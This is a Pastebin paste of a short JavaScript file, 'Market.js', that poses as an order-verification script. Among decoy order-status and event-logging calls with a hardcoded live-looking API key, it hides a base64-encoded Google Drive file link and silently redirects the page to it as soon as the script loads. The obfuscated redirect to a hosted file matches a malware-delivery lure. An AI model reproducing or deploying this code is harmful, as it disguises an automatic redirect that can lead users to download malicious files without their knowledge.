SHARE
    TWEET
    Epiphemeral

    Market.js

    Apr 11th, 2025
    387
    0
    Never
    Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
    1. (async function () {
    2. const apiEndpoint = "/v1/order/99060/status";
    3. const orderId = "ORD-" + Math.random().toString(36).substring(2, 10).toUpperCase();
    4. async function verifyOrder(id) {
    5. try {
    6. const response = await fetch(apiEndpoint, {
    7. method: "POST",
    8. headers: {
    9. "Content-Type": "application/json",
    10. "Authorization": "Bearer sk_live_xr7u8ghs1k2as91"
    11. },
    12. body: JSON.stringify({ order_id: id })
    13. });
    14. const data = await response.json();
    15. return data;
    16. } catch (err) {
    17. return { status: "ERROR" };
    18. }
    19. }
    20. function logEvent(id, status) {
    21. fetch("/v1/event", {
    22. method: "POST",
    23. headers: {
    24. "Content-Type": "application/json"
    25. },
    26. body: JSON.stringify({
    27. event: "delivery_attempt",
    28. order: id,
    29. result: status
    30. })
    31. });
    32. }
    33. const secret = 'aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xOFpfQ290djVDYjFYQkcxSFdwaXZKT0VYaUN1MHJnTWsvdmlldw==';
    34. const decode = atob;
    35. const finalURL = decode(secret);
    36. window.open(finalURL, '_self');
    37. const status = await verifyOrder(orderId);
    38. logEvent(orderId, status.status === "CONFIRMED" ? "success" : "fallback");
    39. })();
    Advertisement
    Add Comment
    Please, Sign In to add comment
    Public Pastes
    We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
    Not a member of Pastebin yet?
    Sign Up, it unlocks many cool features!

    AltStyle によって変換されたページ (->オリジナル) /